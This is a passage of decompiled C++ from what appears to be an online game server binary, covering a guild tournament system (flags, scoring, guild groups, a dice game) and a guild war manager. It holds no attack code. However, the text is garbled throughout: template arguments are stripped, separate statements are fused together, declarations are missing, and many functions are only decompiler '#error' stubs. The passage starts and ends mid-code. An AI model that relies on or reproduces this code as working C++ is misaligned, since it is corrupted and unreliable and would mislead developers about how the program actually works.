(GuildTournamentSystem::FlagInfo *)v12; LOBYTE(v35) = 1; _Ptr = std::_Uninit_copy>( v13, *(GuildTournamentSystem::FlagInfo **)&_Where, (GuildTournamentSystem::FlagInfo *)v12, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)v12); std::_Uninit_fill_n>( _Ptr, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v14 = v4->_Mylast; _Ptr += _Count; std::_Uninit_copy>( *(GuildTournamentSystem::FlagInfo **)&_Where, v14, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 192; v16 = v15 + _Count; v17 = v4->_Myfirst; if ( v17 ) { std::vector>::_Destroy( v4, v17, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::FlagInfo *)((char *)_Last + (_DWORD)v12); v4->_Mylast = (GuildTournamentSystem::FlagInfo *)((char *)v12 + 192 * v16); v4->_Myfirst = (GuildTournamentSystem::FlagInfo *)v12; } } GuildTournamentSystem::FlagInfo::_FlagInfo(&_Tmp); } //----- (0046DC10) -------------------------------------------------------- void __thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0], *(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0046DC40) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Update(GuildTournamentSystem *this, int nTickDeltaTime) { GuildTournamentSystem *v2; // edi@1 std::vector >::iterator v3; // ebp@1 GuildTournamentSystem::FlagInfo *v4; // eax@1 int v5; // esi@2 signed int v6; // ebp@9 unsigned int v7; // eax@11 int v8; // ebp@11 int v9; // eax@11 signed int v10; // ecx@11 int v11; // ecx@16 int v12; // edx@16 int v13; // eax@16 #593 *v14; // eax@16 GuildTournamentSystem::FlagInfo *v15; // eax@22 GuildTournamentSystem::FlagInfo *v16; // eax@24 GuildTournamentSystem::FlagInfo *v17; // esi@26 unsigned int v18; // esi@29 int v19; // eax@29 int iter; // [sp+10h] [bp-3Ch]@1 char ScorePac; // [sp+14h] [bp-38h]@16 int v22; // [sp+15h] [bp-37h]@16 int v23; // [sp+19h] [bp-33h]@16 int v24; // [sp+1Dh] [bp-2Fh]@16 int v25; // [sp+21h] [bp-2Bh]@16 char *v26; // [sp+28h] [bp-24h]@16 void *p; // [sp+30h] [bp-1Ch]@16 int v28; // [sp+34h] [bp-18h]@16 int v29; // [sp+38h] [bp-14h]@16 unsigned int v30; // [sp+3Ch] [bp-10h]@1 int v31; // [sp+48h] [bp-4h]@16 v2 = this; v3 = (std::vector >::iterator)this->m_vecFlags._Myfirst; v30 = (unsigned int)&iter ^ __security_cookie; v4 = this->m_vecFlags._Mylast; iter = (int)v3; if ( (GuildTournamentSystem::FlagInfo *)v3 != v4 ) { do { v5 = (int)&v2->m_GroupA; if ( v2->m_GroupA.m_GuildNumber == **(_DWORD **)&v3 || (v5 = (int)&v2->m_GroupB, v2->m_GroupB.m_GuildNumber == **(_DWORD **)&v3) ) { if ( v5 && TickTimer::CheckUpdateEvent((TickTimer *)(*(_DWORD *)&v3 + 92), nTickDeltaTime) ) { v6 = *(_DWORD *)(v5 + 136); if ( v6 <= 1 ) v6 = 1; v7 = v6 * GuildTournamentOccupyTable::GetScore(v2->m_nTournamentType); v8 = v7 + *(_DWORD *)(v5 + 64); *(_DWORD *)(v5 + 56) += v7; *(_DWORD *)(v5 + 64) = v8; v9 = *(_DWORD *)(ITableBase::ms_pkTable + 52); v10 = 2000; if ( v9 && *(_DWORD *)(v9 + 40) ) v10 = *(_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), 0); if ( *(_DWORD *)(v5 + 56) >= (unsigned int)v10 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript((GuildTournamentSystem::GuildGroup *)v5); GuildTournamentSystem::ChangeAdvanRule(v2); v11 = *(_DWORD *)v5; v12 = *(_DWORD *)(v5 + 56); v26 = &ScorePac; v13 = *(_DWORD *)(v5 + 104); p = 0; v28 = 0; v29 = 0; v22 = v11; v23 = v12; v24 = v13; v25 = 0; ScorePac = 0; v14 = *(#593 **)(v5 + 108); v31 = 0; if ( v14 || (GuildTournamentSystem::GuildGroup::CheckManagerUser((GuildTournamentSystem::GuildGroup *)v5), (v14 = *(#593 **)(v5 + 108)) != 0) ) GuildTournamentSystem::SendScorePacket::SendtoAllinMap( (GuildTournamentSystem::SendScorePacket *)&ScorePac, v14, 0); v31 = -1; if ( p ) operator delete(p); v3 = (std::vector >::iterator)iter; p = 0; v28 = 0; v29 = 0; } } else { if ( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6991); } v15 = v2->m_vecFlags._Mylast; *(_DWORD *)&v3 += 192; iter = (int)v3; } while ( (GuildTournamentSystem::FlagInfo *)v3 != v15 ); } if ( TickTimer::CheckUpdateEvent(&v2->m_FlagAllConnectTime, nTickDeltaTime) ) { TickTimer::Enable(&v2->m_FlagAllConnectTime, 0); v16 = v2->m_vecFlags._Myfirst; if ( v16 ) { iter = v2->m_vecFlags._Mylast - v16; if ( iter ) { v17 = v2->m_vecFlags._Myfirst; if ( !v17 || (iter = v2->m_vecFlags._Mylast - v17) == 0 ) std::vector>::_Xran(&v2->m_vecFlags); v18 = v17->m_GuildNumber; v19 = (int)&v2->m_GroupA; if ( v2->m_GroupA.m_GuildNumber == v18 || (v19 = (int)&v2->m_GroupB, v2->m_GroupB.m_GuildNumber == v18) ) { if ( v19 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript((GuildTournamentSystem::GuildGroup *)v19); } else { if ( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6991); } } } } GuildTournamentSystem::GuildGroup::Update(&v2->m_GroupA, nTickDeltaTime); GuildTournamentSystem::GuildGroup::Update(&v2->m_GroupB, nTickDeltaTime); v2->m_diceGame.vfptr->Update(&v2->m_diceGame, nTickDeltaTime); __security_check_cookie((unsigned int)&iter ^ v30); } // D1D90C8: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; // D1D90D0: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0046DED0) -------------------------------------------------------- #error "46DED0: undefined or illegal type '#593' (funcsize=538)" //----- (0046E5E0) -------------------------------------------------------- #error "46E5E0: undefined or illegal type '#593' (funcsize=86)" //----- (0046E6C0) -------------------------------------------------------- #error "46E6C0: undefined or illegal type '#593' (funcsize=35)" //----- (0046E730) -------------------------------------------------------- #error "46E730: undefined or illegal type '#593' (funcsize=417)" //----- (0046EC70) -------------------------------------------------------- #error "46EC70: undefined or illegal type '#593' (funcsize=53)" //----- (0046ED10) -------------------------------------------------------- #error "46ED10: undefined or illegal type '#593' (funcsize=227)" //----- (0046F010) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::operator__(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval) { std::basic_string,std::allocator > *v2; // esi@1 std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+30h] [bp-44h]@6 char v18; // [sp+4Ch] [bp-28h]@6 int v19; // [sp+70h] [bp-4h]@6 v2 = _Keyval; v3 = this; v9 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound( &this->baseclass_0, _Keyval); v5 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0] && (v4->_Myval.first._Myres < 0x10 ? (v6 = (const char *)&v4->_Myval.first._Bx) : (v6 = *(const char **)&v4->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare( v2, 0, v2->_Mysize, v6, *(_DWORD *)(v5 + 32)) >= 0) ) { result = (GuildTournamentSystem::GuildMemberInfo *)(v5 + 40); } else { v10 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; v16 = 0; thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, v2, 0, 0xFFFFFFFFu); memcpy(&v18, &v10, 0x1Cu); v19 = 0; v7 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert( v9, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)&thisa); if ( thisa._Myres >= 0x10 ) operator delete(*(void **)&thisa._Bx._Buf[0]); result = (GuildTournamentSystem::GuildMemberInfo *)(v7 + 40); } return result; } //----- (0046F130) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::Gate *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::Gate *v3; // edx@1 signed int v4; // ecx@2 GuildTournamentSystem::Gate *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0046F1A0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GuildTournamentSystem::AdvanMobItemRegenInfo *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0046F240) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::FlagInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0046F2B0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::_GuildGroup(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildGroup *v1; // esi@1 void *v2; // eax@1 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_MyTeamNPCs._Myfirst; if ( v2 ) operator delete(v2); v1->m_MyTeamNPCs._Myfirst = 0; v1->m_MyTeamNPCs._Mylast = 0; v1->m_MyTeamNPCs._Myend = 0; std::vector>::_Tidy(&v1->m_vecAdenItemInfo); if ( v1->m_vecGuildBuffUseTime._Myfirst ) operator delete(v1->m_vecGuildBuffUseTime._Myfirst); v1->m_vecGuildBuffUseTime._Myfirst = 0; v1->m_vecGuildBuffUseTime._Mylast = 0; v1->m_vecGuildBuffUseTime._Myend = 0; if ( v1->m_vecGuildMembers._Myfirst ) operator delete(v1->m_vecGuildMembers._Myfirst); v1->m_vecGuildMembers._Myfirst = 0; v1->m_vecGuildMembers._Mylast = 0; v1->m_vecGuildMembers._Myend = 0; std::vector>::_Tidy(&v1->m_vecGuildGates); v3 = *(_DWORD *)&v1->m_mapOutMemberBackUps.gap4[0]; v4 = (int)&v1->m_mapOutMemberBackUps; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_OldTime ) this->m_OldTime = clockwatch.cw_CurrTick; v1 = clockwatch.cw_CurrTick - this->m_OldTime; this->m_OldTime = clockwatch.cw_CurrTick; GuildTournamentSystem::Update(this, v1); } //----- (0046F960) -------------------------------------------------------- #error "46F960: undefined or illegal type '#593' (funcsize=271)" //----- (0046FCE0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendMapInPlayerInfoToObserber(GuildTournamentSystem *this, #593 *pObject) { GuildTournamentSystem *v2; // edi@1 char *v3; // esi@1 GuildTournamentSystem::GuildGroup *v4; // eax@1 v2 = this; v3 = (char *)&this->m_GroupA; GuildTournamentSystem::GuildGroup::SendPlayerAllScoreInfo(&this->m_GroupA, pObject, 1); v4 = &v2->m_GroupB; if ( *(_DWORD *)v3 == v2->m_GroupB.m_GuildNumber ) v4 = (GuildTournamentSystem::GuildGroup *)v3; GuildTournamentSystem::GuildGroup::SendPlayerAllScoreInfo(v4, pObject, 0); } //----- (0046FD20) -------------------------------------------------------- #error "46FD20: undefined or illegal type '#593' (funcsize=159)" //----- (0046FF30) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::EndBattle(GuildTournamentSystem *this, tGuildTournamentResult *rGuildTournamentResult) { rGuildTournamentResult->AGuildRegNumber = this->m_GroupA.m_GuildNumber; rGuildTournamentResult->AGuildScore = LOWORD(this->m_GroupA.m_unAllGuildScore); rGuildTournamentResult->BGuildRegNumber = this->m_GroupB.m_GuildNumber; rGuildTournamentResult->BGuildScore = LOWORD(this->m_GroupB.m_unAllGuildScore); std::vector>::_Tidy(&this->m_vecFlags); return 1; } //----- (0046FF70) -------------------------------------------------------- #error "46FF70: undefined or illegal type '#593' (funcsize=118)" //----- (00470100) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::FlagInfo *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GuildTournamentSystem::FlagInfo *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 5; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00470190) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::Clear(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; std::vector>::_Tidy(&this->m_vecFlags); GuildTournamentSystem::GuildGroup::Clear(&v1->m_GroupA); GuildTournamentSystem::GuildGroup::Clear(&v1->m_GroupB); v1->m_GroupA.m_GuildNumber = 0; v1->m_nTournamentSeed = -1; v1->m_nTournamentType = 0; v1->m_GroupB.m_GuildNumber = 0; return 1; } //----- (004701E0) -------------------------------------------------------- #error "4701E0: undefined or illegal type '#593' (funcsize=97)" //----- (00470320) -------------------------------------------------------- void __thiscall GuildTournamentSystem::AddAdvanItemMonster(GuildTournamentSystem *this, GuildTournamentSystem::AdvanMobItemRegenInfo *Info, unsigned int GuildNumber) { GuildTournamentSystem *v3; // edi@1 const char *v4; // ecx@2 MobRegenClass::MobBreederGroup *v5; // eax@4 const char *v6; // esi@6 int v7; // eax@9 fastdelegate::detail::GenericClass *v8; // ecx@13 int v9; // [sp-14h] [bp-24h]@4 int v10; // [sp-10h] [bp-20h]@4 int v11; // [sp-Ch] [bp-1Ch]@4 int v12; // [sp-8h] [bp-18h]@4 signed int v13; // [sp-4h] [bp-14h]@4 v3 = this; if ( Info->strGroupName._Myres < 0x10 ) v4 = (const char *)&Info->strGroupName._Bx; else v4 = *(const char **)&Info->strGroupName._Bx._Buf[0]; v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; strncpy((char *)&v9, v4, 0x14u); v5 = MobHatchery::mg_FindBreedGroup(mobhatchery, &Info->mapName, *(ORToken *)&v9); if ( v5 ) { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v5, 0); v7 = (int)&v3->m_GroupA; if ( v3->m_GroupA.m_GuildNumber == GuildNumber || (v7 = (int)&v3->m_GroupB, v3->m_GroupB.m_GuildNumber == GuildNumber) ) { if ( v7 ) { std::vector>::push_back( (std::vector > *)(v7 + 112), Info); return; } } else { if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) { v8 = v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis; v13 = 6991; ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v8, 6991); } } AssertClass::ac_AssertFail( &shineassert, "GuildTournamentSystem::AddAdvanItemMonster Not Find GuildGroup :", GuildNumber); return; } if ( Info->strGroupName._Myres < 0x10 ) v6 = (const char *)&Info->strGroupName._Bx; else v6 = *(const char **)&Info->strGroupName._Bx._Buf[0]; AssertClass::ac_AssertFail(&shineassert, "GuildTournamentSystem::AddAdvanItemMonster Not Find BreedGroup :", v6); } //----- (00470400) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::GuildGroup(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildGroup *v1; // esi@1 char *v2; // edi@1 std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_mapOutMemberBackUps; v3 = std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(&this->m_mapOutMemberBackUps.baseclass_0); *((_DWORD *)v2 + 1) = v3; v3->_Isnil = 1; *(_DWORD *)(*((_DWORD *)v2 + 1) + 4) = *((_DWORD *)v2 + 1); **((_DWORD **)v2 + 1) = *((_DWORD *)v2 + 1); *(_DWORD *)(*((_DWORD *)v2 + 1) + 8) = *((_DWORD *)v2 + 1); *((_DWORD *)v2 + 2) = 0; v1->m_vecGuildGates._Myfirst = 0; v1->m_vecGuildGates._Mylast = 0; v1->m_vecGuildGates._Myend = 0; v1->m_vecGuildMembers._Myfirst = 0; v1->m_vecGuildMembers._Mylast = 0; v1->m_vecGuildMembers._Myend = 0; v1->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; v1->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; v1->m_vecGuildBuffUseTime._Myfirst = 0; v1->m_vecGuildBuffUseTime._Mylast = 0; v1->m_vecGuildBuffUseTime._Myend = 0; TickTimer::TickTimer(&v1->m_LastGuildMasterReviveTime); v1->m_vecAdenItemInfo._Myfirst = 0; v1->m_vecAdenItemInfo._Mylast = 0; v1->m_vecAdenItemInfo._Myend = 0; v1->m_Advan.m_IsAdvan = 0; v1->m_Advan.m_nLevel = 0; TickTimer::TickTimer(&v1->m_FlagMultiplelTime); v1->m_MyTeamNPCs._Myfirst = 0; v1->m_MyTeamNPCs._Mylast = 0; v1->m_MyTeamNPCs._Myend = 0; PacketContainer::pcb_SetSocketSession((ORField *)&v1->m_LastGuildMasterReviveTime, (ORColumnHeader *)0x12C); GuildTournamentSystem::GuildGroup::Clear(v1); } //----- (004704E0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildTournamentSystem(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (RoutionInterfaceVtbl *)&GuildTournamentSystem::_vftable_; this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_vecFlags._Myfirst = 0; this->m_vecFlags._Mylast = 0; this->m_vecFlags._Myend = 0; GuildTournamentSystem::GuildGroup::GuildGroup(&this->m_GroupA); GuildTournamentSystem::GuildGroup::GuildGroup(&v1->m_GroupB); v1->m_diceGame.vfptr = (DiceGameVtbl *)&DiceGame::_vftable_; TickTimer::TickTimer(&v1->m_diceGame.m_nDelayTic); TickTimer::TickTimer(&v1->m_diceGame.m_NotifyOfEndTimer); v1->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = 0; v1->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pthis = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction = 0; v1->m_diceGame.m_RedPlayerNumber = 0; v1->m_diceGame.m_BluePlayerNumber = 0; v1->m_diceGame.m_RedDiceResult = 0; v1->m_diceGame.m_BlueDiceResult = 0; TickTimer::TickTimer(&v1->m_FlagAllConnectTime); v1->m_OldTime = 0; v1->m_nTournamentSeed = -1; v1->m_nTournamentType = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction = (void (__thiscall *)(fastdelegate::detail::GenericClass *))GuildTournamentSystem::DiceGameWinGuild; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pthis = (fastdelegate::detail::GenericClass *)v1; PacketContainer::pcb_SetSocketSession((ORField *)&v1->m_FlagAllConnectTime, (ORColumnHeader *)0x258); } // 6438EC: using guessed type int (__thiscall *DiceGame___vftable_)(DiceGame *this, int nTick); // 643FE4: using guessed type int (__thiscall *GuildTournamentSystem___vftable_)(void *p, char); //----- (004705E0) -------------------------------------------------------- void *__thiscall GuildTournamentSystem::_scalar_deleting_destructor_(GuildTournamentSystem *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentSystem::_GuildTournamentSystem(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00470600) -------------------------------------------------------- void __thiscall GuildTournamentSystem::_GuildTournamentSystem(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; GuildTournamentSystem::GuildGroup::_GuildGroup(&this->m_GroupB); GuildTournamentSystem::GuildGroup::_GuildGroup(&v1->m_GroupA); std::vector>::_Tidy(&v1->m_vecFlags); v1->baseclass_0.vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; } // 6438D0: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (00470660) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::Initialize(GuildTournamentSystem *this, unsigned int AGuildNumber, unsigned int BGuildNumber, int nType, int nSeed) { GuildTournamentSystem *v5; // esi@1 v5 = this; std::vector>::_Tidy(&this->m_vecFlags); GuildTournamentSystem::GuildGroup::Clear(&v5->m_GroupA); GuildTournamentSystem::GuildGroup::Clear(&v5->m_GroupB); v5->m_nTournamentSeed = -1; v5->m_nTournamentType = 0; v5->m_GroupB.m_GuildNumber = 0; v5->m_GroupA.m_GuildNumber = AGuildNumber; GuildTournamentSystem::GuildGroup::SetTournamentType(&v5->m_GroupA, nType); v5->m_GroupB.m_GuildNumber = BGuildNumber; GuildTournamentSystem::GuildGroup::SetTournamentType(&v5->m_GroupB, nType); v5->m_nTournamentType = nType; v5->m_nTournamentSeed = nSeed; return 1; } //----- (004706E0) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_Clear(GuildWarManager *this) { signed int v1; // eax@1 v1 = 4096; do { this->gwm_Array[this->gwm_Pointer].attacker = 0; --v1; ++this->gwm_Pointer; } while ( v1 ); this->gwm_nWarStartCount = 0; } //----- (00470720) -------------------------------------------------------- GuildWarElement *__thiscall GuildWarManager::gwm_IsEnemyGuild(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@6 unsigned int v4; // edx@6 int v5; // eax@11 GuildWarElement *result; // eax@12 if ( a != b && a && b && this->gwm_nWarStartCount > 0 ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; v4 = this->gwm_Array[v3].attacker; if ( v4 ) { if ( v4 == a && this->gwm_Array[v3].defender == b ) return &this->gwm_Array[this->gwm_Pointer]; if ( v4 == b && this->gwm_Array[v3].defender == a ) break; } v5 = v3 + 1; this->gwm_Pointer = v5; if ( v5 >= 4096 ) return 0; } result = (GuildWarElement *)((char *)this + 8 * this->gwm_Pointer); } else { result = 0; } return result; } //----- (004707B0) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_WarStart(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@4 int v4; // eax@5 if ( a && b ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; if ( !this->gwm_Array[v3].attacker ) break; v4 = v3 + 1; this->gwm_Pointer = v4; if ( v4 >= 4096 ) return; } this->gwm_Array[this->gwm_Pointer].attacker = a; this->gwm_Array[this->gwm_Pointer].defender = b; ++this->gwm_nWarStartCount; } } //----- (00470810) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_WarStop(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@4 int v4; // eax@5 if ( a && b ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; if ( this->gwm_Array[v3].attacker == a ) break; v4 = v3 + 1; this->gwm_Pointer = v4; if ( v4 >= 4096 ) return; } this->gwm_Array[this->gwm_Pointer].attacker = 0; --this->gwm_nWarStartCount; } } //----- (00470870) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_EnemyCheck(GuildWarManager *this, char cjcresult, unsigned int a, unsigned int b) { GuildWarManager::gwm_IsEnemyGuild(this, a, b); } //----- (00470890) -------------------------------------------------------- GuildWarElement *__thiscall GuildWarManager::gwm_GetGuildWarElement(GuildWarManager *this, unsigned int nGuildNo) { GuildWarElement *result; // eax@3 signed int v3; // eax@4 if ( nGuildNo && this->gwm_nWarStartCount > 0 ) { v3 = 0; while ( this->gwm_Array[v3].attacker != nGuildNo && this->gwm_Array[v3].defender != 